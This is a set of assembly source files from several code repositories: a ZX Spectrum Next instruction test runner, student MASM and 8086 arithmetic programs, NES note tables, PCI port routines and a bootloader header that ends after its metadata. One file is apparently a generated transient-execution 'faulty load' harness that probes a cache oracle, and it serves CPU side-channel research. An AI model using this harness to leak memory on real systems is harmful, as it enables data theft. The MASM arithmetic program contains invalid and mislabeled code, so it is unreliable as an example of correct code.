] | 23 | 2018-05-20T16:40:41.000Z | 2022-01-03T23:12:38.000Z | Tests/base/Z80N/main.i.asm | MrKWatkins/ZXSpectrumNextTests | d22f01338ef15b788bd324a32ba9c5ac335f71a3 | [
"MIT"
] | 3 | 2020-06-05T17:00:39.000Z | 2021-06-27T16:37:06.000Z | Tests/base/Z80N/main.i.asm | MrKWatkins/ZXSpectrumNextTests | d22f01338ef15b788bd324a32ba9c5ac335f71a3 | [
"MIT"
] | 2 | 2019-02-04T16:57:02.000Z | 2019-08-26T17:48:18.000Z | TEST_OPT_BIT_TURBO equ 0
TEST_OPT_BIT_FULL equ 1
TEST_OPT_BIT_ASTART equ 7
TestOptions:
db 0 ; (1<<TEST_OPT_BIT_FULL)|(1<<TEST_OPT_BIT_TURBO)
;db (1<<TEST_OPT_BIT_ASTART)|(1<<TEST_OPT_BIT_TURBO)
InstructionsData_CurrentLevelTests:
dw InstructionsData_L1Tests
;;;;;;;;;;; detects if Turbo mode is already selected ;;;;;;;;;
DetectTurboMode: ; if selected, it will be kept + autostart
ld a,TURBO_CONTROL_NR_07
call ReadNextReg
and $03
ret z ; no turbo detected
; turbo detected, make the option ON (it will set the turbo to 28MHz (from 7/14/28MHz))
ld hl,TestOptions
set TEST_OPT_BIT_TURBO,(hl)
set TEST_OPT_BIT_ASTART,(hl) ; and add auto-start of tests
ret
;;;;;;;;;;;;;;;;;; switch 28MHz turbo mode ON or OFF ;;;;;;;;;;
SetTurboModeByOption:
; read current status of peripheral 2 NextReg, enable turbo and 50/60Hz keys (F3+F8)
ld b,PERIPHERAL_2_NR_06
ld a,b
call ReadNextReg
or %1010'1000 ; F3 + F8 + Multiface enabled
call WriteNextRegByIo
; check the selected option by user
ld hl,TestOptions
bit TEST_OPT_BIT_TURBO,(hl)
ld a,%11 ; 28MHz
jr nz,.SetTurboON
ld a,%00 ; 3.5MHz
.SetTurboON:
ld b,TURBO_CONTROL_NR_07
jp WriteNextRegByIo ; + ret
;;;;;;; picks choosen levels test ;;;;;;;;;;;;
SetTestsModeByOption:
ld hl,TestOptions
ld de,InstructionsData_FullTests
bit TEST_OPT_BIT_FULL,(hl)
jr nz,.FullTestsSelected
ld de,InstructionsData_L1Tests ; partial tests selected
.FullTestsSelected:
ld (InstructionsData_CurrentLevelTests),de
ret
; returns HL=MEM_SCRAP_BUFFER and 512 bytes of data set (0, 1, 2, ..., 255, 0, ..., 255)
Set0to255TwiceScrapData:
; set second set of 256 bytes
ld hl,MEM_SCRAP_BUFFER+256
call Set0to255ScrapData.setLoop
; set first set + return with expected HL
;; continue with Set0to255ScrapData
; returns HL=MEM_SCRAP_BUFFER and 256 bytes of data set (0, 1, 2, ..., 255)
Set0to255ScrapData:
ld hl,MEM_SCRAP_BUFFER
.setLoop:
ld (hl),l
inc l
jp nz,.setLoop
ret
; does verify if BC=0, HL=MEM_SCRAP_BUFFER+128, DE=MEM_SCRAP_BUFFER2+128
; returns ZF (ZF=1 if all registers were as expected), modifies HL,DE,BC
TestHlDeBcAfterFullBlockValues:
; check if BC==0 (should be after repeat-block instructions) (preserve A and others)
inc b ; turn BC=0 into BC=$01FF and test that with TestHlDeBcForBlockValues
dec c
;;continue with TestHlDeBcForBlockValues
; does verify if BC=$01FF, HL=MEM_SCRAP_BUFFER+128, DE=MEM_SCRAP_BUFFER2+128
; returns ZF (ZF=1 if all registers were as expected), modifies HL,DE,BC
TestHlDeBcForBlockValues:
; check if BC=$01FF
dec b
ret nz
inc c
ret nz
; check if HL == MEM_SCRAP_BUFFER+128
ld bc,MEM_SCRAP_BUFFER+128
or a
sbc hl,bc
ret nz
; check if DE == MEM_SCRAP_BUFFER2+128
ld hl,MEM_SCRAP_BUFFER2+128
or a
sbc hl,de
ret ; and return final ZF
;;;;;;;;;;;;;;;; test runner helper functions ;;;;;;;;;;;;;;;;;;;;;;;;
; A: 0..22 index of line with instruction to test
RunZ80nTest:
add a,a ; *2
ld e,a ; DE = test index * 2
; fetch address of test
ld hl,(InstructionsData_CurrentLevelTests)
add hl,de
ld a,(hl)
inc hl
ld h,(hl)
ld l,a ; call the selected test (DE = test index * 2)
; continue with TestCallWrapper code
; HL = address of test to run (or null), DE = index of test * 2
TestCallWrapper:
; verify HL is not null
ld a,h
or l
ret z
; check current status (only NONE should run test)
ld ix,InstructionsData_Details
add ix,de
add ix,de
ld a,(ix+1)
cp RESULT_OK
ret z ; test was run on all possible levels and there's nothing to show
; RESULT_OK1 and RESULT_OK2 should pass through into the test
; the partial tests are responsible of detecting the state and ignore the call
cp RESULT_NONE
jr z,.KeepStatusDisplayed
cp RESULT_ERR
jr z,.KeepStatusDisplayed
;; but RESULT_OK1 and RESULT_OK2 should remove the current status from screen to get
; correct result after test is run (or not run)
push hl
push de
call .RefreshCurrentTestStatusAhead
pop de
pop hl
.KeepStatusDisplayed:
;; highlight the picked instruction
push de
push hl
ex de,hl
add hl,hl ; index*4
add hl,hl ; index*8
add hl,hl ; index*16
add hl,hl ; index*32
ld de,MEM_ZX_ATTRIB_5800+32 ; instructions start from second line
add hl,de
ld (.AdjustInstructionNameAttributes+1),hl
ld a,P_BLACK|YELLOW
call .AdjustInstructionNameAttributes
pop hl
pop de
ld a,RESULT_ERR
cp (ix+1)
jr z,.ShowErrorLog ; continue with display log if RESULT_ERR
; preserve current Error log index (to check, if test did log anything)
ld a,(LogLastIndex)
ld (.LogLastIndexBeforeTest+1),a ; preserve it directly in `ld a,*`
; call the test itself
push de
push ix ; preserve Details data pointer
call .WrappedTest
pop ix
; store result (or more like set to "OK", if it was not already set by test)
ld a,RESULT_NONE
cp (ix+1)
jr nz,.ResultAlreadySetByTest
ld (ix+1),RESULT_OK ; full OK otherwise
.ResultAlreadySetByTest:
; check if there are some new log items (produced by the test)
ld hl,(LogLastIndex) ; L = (LogLastIndex) (ignore H)
.LogLastIndexBeforeTest:
ld a,0
cp l
jr z,.NoNewLogItems
; store the index of first new log into test details data
inc a ; (old index didn't belong to new items, adjust it)
ld (ix+2),a ; store it into test details data
; seal the log-chain by setting "last" on last item
call LogSealPreviousChainOfItems
.NoNewLogItems:
; restore main screen (hide heartbeat)
call DeinitHeartbeat
pop de ; restore index*2
; de-highlight the picked instruction
ld a,e
rlca
rlca
rlca ; index*16 in total
and P_RED ; the only bit I'm interested (to produce CYAN for odd lines)
xor P_WHITE|BLACK
call .AdjustInstructionNameAttributes
; refresh the test result status on screen
.RefreshCurrentTestStatusAhead:
ld b,e
rrc b ; b = index, now do lazy-coder VRAM line calculation
inc b
ld hl,MEM_ZX_SCREEN_4000+CHARPOS_STATUS
.FindCorrectVramLine:
call AdvanceVramHlToNextLine
djnz .FindCorrectVramLine
jp PrintTestStatus ; now just call UI function and return
.WrappedTest:
; call the test (HL: test address, DE = index*2, IX = test details data)
jp hl
.ShowErrorLog:
; display log (HL: test address, DE = index*2, IX = test details data)
call DisplayLogForOneTest
call WaitForAnyKey
jp RedrawMainScreen ; restore main screen + return
.AdjustInstructionNameAttributes:
ld hl,0
ld b,CHARPOS_INS_END+1
.InstructionNameLoop:
ld (hl),a
inc l
djnz .InstructionNameLoop
ret
; will check if autostart bit is set, clear it and run all tests if requested
HandleAutoStartOnce:
; check if auto-start of tests is selected (by machine being in turbo mode)
ld hl,TestOptions
bit TEST_OPT_BIT_ASTART,(hl)
ret z
res TEST_OPT_BIT_ASTART,(hl)
jp GoKeyHandler
| 34.475983 | 91 | 0.623686 |
d13c91de946906ff05628a7ce749b5500fcc6f94 | 2,407 | asm | Assembly | Project32_VS2017/template.asm | harshboi/Assembly-and-Computer-Architecture | 42e00d8b311a00a7765ec9ca211383a1511e2c2d | [
"BSD-3-Clause"
] | null | null | null | Project32_VS2017/template.asm | harshboi/Assembly-and-Computer-Architecture | 42e00d8b311a00a7765ec9ca211383a1511e2c2d | [
"BSD-3-Clause"
] | null | null | null | Project32_VS2017/template.asm | harshboi/Assembly-and-Computer-Architecture | 42e00d8b311a00a7765ec9ca211383a1511e2c2d | [
"BSD-3-Clause"
] | null | null | null | TITLE Program Template (template.asm)
; Author:
; Course / Project ID Date:
; Description:
INCLUDE Irvine32.inc
; (insert constant definitions here)
.data
header BYTE "Elementary Arithmetic by Harshvardhan Singh",0
_instructions BYTE "Enter 2 numbers, and I'll show you the sum difference, product, quotient, and remainder.",0
str1 BYTE "Enter first number ",0
str2 BYTE "Enter second number ",0
_sum DWORD ?
first_num DWORD ?
second_num DWORD ?
_char DWORD " + "
_equal DWORD " = "
_minus DWORD " - "
_multiply DWORD " * "
_division DWORD " / "
; (insert variable definitions here)
.code
main PROC
mov edx, OFFSET header
call WriteString
call crlf
call crlf
;mov edx, OFFSET First_num
;call ReadInt
mov edx, OFFSET _instructions
call WriteString
call crlf
call crlf
mov edx, OFFSET str1
call WriteString
call ReadInt
mov first_num, eax
mov edx, OFFSET str2
call WriteString
call ReadInt
mov second_num, eax
call crlf
; Code for Addition
mov eax,first_num
add eax,second_num
mov ebx, first_num
mov _sum, eax
mov eax,first_num
call WriteDec
mov edx, OFFSET _char
;mov edx, _char
Call WriteString
mov eax,second_num
call WriteDec
mov edx, OFFSET _equal
call WriteString
mov eax,_sum
call WriteDec
; Code for subtraction
mov eax,first_num
sub eax,second_num
mov ebx, first_num
mov _sum, eax
mov eax,first_num
call WriteDec
mov edx, OFFSET _minus
;mov edx, _char
Call WriteString
mov eax,second_num
call WriteDec
mov edx, OFFSET _equal
call WriteString
mov eax,_sum
call WriteDec
; Code for Multiplication
mov eax,first_num
imul eax,second_num
mov ebx, first_num
mov _sum, eax
mov eax,first_num
call WriteDec
mov edx, OFFSET _multiply
;mov edx, _char
Call WriteString
mov eax,second_num
call WriteDec
mov edx, OFFSET _equal
call WriteString
mov eax,_sum
call WriteDec; (insert executable instructions here)
; Code for division
mov eax,first_num
idiv eax,second_num
mov ebx, first_num
mov _sum, eax
mov eax,first_num
call WriteDec
mov edx, OFFSET _minus
;mov edx, _division
Call WriteString
mov eax,second_num
call WriteDec
mov edx, OFFSET _equal
call WriteString
mov eax,_sum
call WriteDec
exit ; exit to operating system
main ENDP
; (insert additional procedures here)
END main
| 18.804688 | 114 | 0.716244 |
86cc17e693d19c54655bfceb8890be7501b31fbf | 6,836 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1794.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1794.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1794.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x102ba, %r12
add %rbp, %rbp
mov $0x6162636465666768, %rax
movq %rax, %xmm7
vmovups %ymm7, (%r12)
nop
add $2109, %r9
lea addresses_normal_ht+0x1efea, %rsi
lea addresses_A_ht+0x7c0a, %rdi
nop
nop
nop
nop
nop
sub $44692, %r12
mov $8, %rcx
rep movsl
nop
nop
inc %rbp
lea addresses_D_ht+0x19f73, %rsi
lea addresses_WC_ht+0x6eba, %rdi
nop
nop
add %rax, %rax
mov $93, %rcx
rep movsb
nop
and %rdi, %rdi
lea addresses_A_ht+0xd060, %r12
nop
nop
add %rsi, %rsi
vmovups (%r12), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbp
nop
nop
nop
nop
nop
and $56861, %rdi
lea addresses_A_ht+0x16ba, %rcx
nop
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, (%rcx)
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_WT_ht+0xe5ba, %rbp
nop
nop
nop
nop
and $38029, %rsi
movw $0x6162, (%rbp)
nop
nop
nop
nop
nop
inc %rcx
lea addresses_UC_ht+0x16ed2, %rsi
lea addresses_UC_ht+0x4eba, %rdi
clflush (%rdi)
nop
nop
add $23821, %r13
mov $106, %rcx
rep movsq
nop
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0x303a, %rsi
nop
nop
inc %rdi
and $0xffffffffffffffc0, %rsi
movaps (%rsi), %xmm4
vpextrq $1, %xmm4, %rbp
xor $40498, %r12
lea addresses_A_ht+0xf8ba, %rsi
lea addresses_UC_ht+0x18eba, %rdi
clflush (%rsi)
nop
cmp %rbp, %rbp
mov $53, %rcx
rep movsl
nop
and %rax, %rax
lea addresses_WT_ht+0x12792, %rbp
nop
nop
nop
add %r13, %r13
mov (%rbp), %di
nop
nop
nop
xor $12502, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r9
push %rbx
push %rdi
push %rdx
// Store
lea addresses_WT+0x14cba, %r9
nop
xor %rbx, %rbx
movl $0x51525354, (%r9)
nop
nop
nop
nop
nop
dec %r14
// Faulty Load
lea addresses_D+0x52ba, %rdx
nop
nop
nop
nop
nop
and $7150, %r15
mov (%rdx), %r14d
lea oracles, %r9
and $0xff, %r14
shlq $12, %r14
mov (%r9,%r14,1), %r14
pop %rdx
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 4, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 35.237113 | 2,999 | 0.658865 |
b50a73951b97d0d8eb7dae6c57ba48eb420528fd | 1,707 | asm | Assembly | note_table.asm | neilbaldwin/PR8 | 045cbd282aba6357a4ae555958cf65c018952e49 | [
"BSD-2-Clause-FreeBSD",
"MIT"
] | 8 | 2021-03-14T18:20:40.000Z | 2021-08-04T20:32:25.000Z | note_table.asm | neilbaldwin/PR8 | 045cbd282aba6357a4ae555958cf65c018952e49 | [
"BSD-2-Clause-FreeBSD",
"MIT"
] | 2 | 2021-09-17T02:53:10.000Z | 2021-09-17T03:11:10.000Z | note_table.asm | neilbaldwin/PR8 | 045cbd282aba6357a4ae555958cf65c018952e49 | [
"BSD-2-Clause-FreeBSD",
"MIT"
] | null | null | null |
periodLo:
.IF PAL_VERSION=1
.byte $60,$f6,$92,$34,$db,$86,$37,$ec,$a5,$62,$23,$e8
.byte $b0,$7b,$49,$19,$ed,$c3,$9b,$75,$52,$31,$11,$f3
.byte $d7,$bd,$a4,$8c,$76,$61,$4d,$3a,$29,$18,$08,$f9
.byte $eb,$de,$d1,$c6,$ba,$b0,$a6,$9d,$94,$8b,$84,$7c
.byte $75,$6e,$68,$62,$5d,$57,$52,$4e,$49,$45,$41,$3e
.byte $3a,$37,$34,$31,$2e,$2b,$29,$26,$24,$22,$20,$1e
.ELSE
.byte $f1,$7f,$13,$ad,$4d,$f3,$9d,$4c,$00,$b8,$74,$34
.byte $f8,$bf,$89,$56,$26,$f9,$ce,$a6,$80,$5c,$3a,$1a
.byte $fb,$df,$c4,$ab,$93,$7c,$67,$52,$3f,$2d,$1c,$0c
.byte $fd,$ef,$e1,$d5,$c9,$bd,$b3,$a9,$9f,$96,$8e,$86
.byte $7e,$77,$70,$6a,$64,$5e,$59,$54,$4f,$4b,$46,$42
.byte $3f,$3b,$38,$34,$31,$2f,$2c,$29,$27,$25,$23,$21
.byte $1f,$1d,$1b,$1a,$18,$17,$15,$14,$13,$12,$11,$10
.byte $0F,$0E,$0D,$0C,$0B,$0A,$09,$08,$07,$06,$05,$04
.ENDIF
periodHi:
.IF PAL_VERSION=1
.byte $07,$06,$06,$06,$05,$05,$05,$04,$04,$04,$04,$03
.byte $03,$03,$03,$03,$02,$02,$02,$02,$02,$02,$02,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01,$01,$01,$01,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.ELSE
.byte $07,$07,$07,$06,$06,$05,$05,$05,$05,$04,$04,$04
.byte $03,$03,$03,$03,$03,$02,$02,$02,$02,$02,$02,$02
.byte $01,$01,$01,$01,$01,$01,$01,$01,$01,$01,$01,$01
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.ENDIF | 43.769231 | 55 | 0.512009 |
b21e491a9b7fdb1ab17f248f1748541f3ebe5a4b | 181 | asm | Assembly | data/pokemon/dex_entries/buneary.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/dex_entries/buneary.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/dex_entries/buneary.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 3 | 2021-01-15T18:45:40.000Z | 2021-10-16T03:35:27.000Z | db "RABBIT@" ; species name
db "You can tell how"
next "it feels by the"
next "way it rolls its"
page "ears. When it is"
next "scared, both its"
next "ears are rolled.@"
| 18.1 | 28 | 0.646409 |
a1a68766dbb442c04d0dea3d533de1d448b13afd | 310 | asm | Assembly | programs/oeis/021/A021516.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/021/A021516.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/021/A021516.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A021516: Decimal expansion of 1/512.
; 0,0,1,9,5,3,1,2,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
add $0,1
mov $1,10
pow $1,$0
mul $1,3
div $1,1536
mod $1,10
mov $0,$1
| 28.181818 | 199 | 0.541935 |
82e1777a8978fdd7a420b795011a05e42b37082b | 261 | asm | Assembly | src/kernel/asm/cpu/pci.asm | Krzem5/Assembly-64Bit_Uefi_Kernel | d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb | [
"BSD-3-Clause"
] | 4 | 2021-03-06T12:01:16.000Z | 2021-04-19T12:35:26.000Z | src/kernel/asm/cpu/pci.asm | Krzem5/Assembly-64Bit_Uefi_Kernel | d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb | [
"BSD-3-Clause"
] | null | null | null | src/kernel/asm/cpu/pci.asm | Krzem5/Assembly-64Bit_Uefi_Kernel | d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb | [
"BSD-3-Clause"
] | null | null | null | bits 64
global asm_pci_read
global asm_pci_write
asm_pci_read:
mov eax, ecx
mov dx, 0xcf8
out dx, eax
mov dx, 0xcfc
in eax, dx
ret
asm_pci_write:
mov eax, ecx
mov ecx, edx
mov dx, 0xcf8
out dx, eax
mov dx, 0xcfc
mov eax, ecx
out dx, eax
ret
| 10.038462 | 20 | 0.693487 |
a96540b5afb2f3814fa5a0296745fc6617159f3c | 294 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/p3dos_copy_pstr_to_cstr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/p3dos_copy_pstr_to_cstr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/p3dos_copy_pstr_to_cstr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; unsigned char *p3dos_copy_pstr_to_cstr(char *cdst, const char *psrc)
SECTION code_esxdos
PUBLIC _p3dos_copy_pstr_to_cstr
EXTERN asm_p3dos_copy_pstr_to_cstr
_p3dos_copy_pstr_to_cstr:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_p3dos_copy_pstr_to_cstr
| 14.7 | 70 | 0.758503 |
244ed080bcd089e80ba17eb8c7550c3ef5419c07 | 861 | asm | Assembly | semester-5/microprocessor/16div.asm | saranshbht/bsc-codes | 7386c09cc986de9c84947f7dea7db3dc42219a35 | [
"MIT"
] | 3 | 2021-03-22T12:07:14.000Z | 2021-08-30T17:28:23.000Z | semester-5/microprocessor/16div.asm | saranshbht/bsc-codes | 7386c09cc986de9c84947f7dea7db3dc42219a35 | [
"MIT"
] | null | null | null | semester-5/microprocessor/16div.asm | saranshbht/bsc-codes | 7386c09cc986de9c84947f7dea7db3dc42219a35 | [
"MIT"
] | null | null | null | .model small
.data
first dw 256
second db 128
tempah db ?
tempal db ?
msg1 db "Quotient: $"
msg2 db 10, "Remainder: $"
.code
.startup
mov ax, first
div second
mov tempah, ah
mov tempal, al
lea dx, msg1
mov ah, 09h
int 21h
mov cx, 2
mov bl, tempal
print1:
rol bl, 4
mov dl, bl
and dl, 0fh
add dl, 30h
cmp dl, 39h
jbe print11
add dl, 07h
print11:
mov ah, 02h
int 21h
loop print1
lea dx, msg2
mov ah, 09h
int 21h
mov cx, 2
mov bl, tempah
print2:
rol bl, 4
mov dl, bl
and dl, 0fh
add dl, 30h
cmp dl, 39h
jbe print21
add dl, 07h
print21:
mov ah, 02h
int 21h
loop print2
.exit
end | 15.105263 | 30 | 0.470383 |
3cc824d321a711449f9c374117468916284c7a1f | 1,129 | asm | Assembly | simple_bootloader/simple_bootloader.asm | rgimad/fasm_programs | f6739ea19d5a3cdc759d902971a889eda5e98e9a | [
"MIT"
] | 8 | 2021-03-23T05:24:56.000Z | 2021-11-29T08:56:33.000Z | simple_bootloader/simple_bootloader.asm | rgimad/fasm_programs | f6739ea19d5a3cdc759d902971a889eda5e98e9a | [
"MIT"
] | null | null | null | simple_bootloader/simple_bootloader.asm | rgimad/fasm_programs | f6739ea19d5a3cdc759d902971a889eda5e98e9a | [
"MIT"
